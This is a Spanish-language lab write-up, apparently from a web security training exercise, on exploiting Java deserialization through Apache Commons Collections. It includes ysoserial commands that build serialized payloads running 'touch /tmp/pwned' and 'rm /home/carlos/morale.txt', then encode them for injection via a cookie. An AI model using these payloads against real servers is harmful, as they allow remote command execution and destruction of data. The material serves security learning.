5 - Exploiting Java deserialization with Apache Commons
Si le hacemos url decode y base64 decode a la cookie, nos queda algo como esto :
Uso de ysoserial :
java -jar ysoserial-all.jar \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ [payload] '[command]'
📋 Situación actual
Tienes un sistema que hace unserialize() de objetos Java como:
lab.actions.common.serializable.AccessTokenUser
🔥 ¿Cómo usar ysoserial aquí?
1. Compilar o descargar ysoserial.jar:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package
O si quieres rápido:
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-0.0.6-all.jar
2. Generar un payload malicioso:
Ejemplo: quieres ejecutar touch /tmp/pwned en el servidor:
java -jar ysoserial-0.0.6-all.jar CommonsCollections1 'touch /tmp/pwned' > payload.ser
Esto te genera un objeto Java serializado que al deserializar ejecuta touch /tmp/pwned.
🤔 ¿Pero qué pasa aquí?
Tu sistema probablemente espera un objeto de tipo:
lab.actions.common.serializable.AccessTokenUser
ysoserial genera un payload de tipo:
org.apache.commons.collections.Transformer
y otros gadgets de librerías.
💬 Problema:
Si el sistema hace un instanceof para comprobar que el objeto sea de tipo AccessTokenUser, el payload fallará.
💬 Si NO hay verificación, entonces deserializará lo que sea y ejecutará el comando.
java -jar ysoserial-all.jar \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0
||
java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0
Luego url encodeamos el payload y lo enviamos.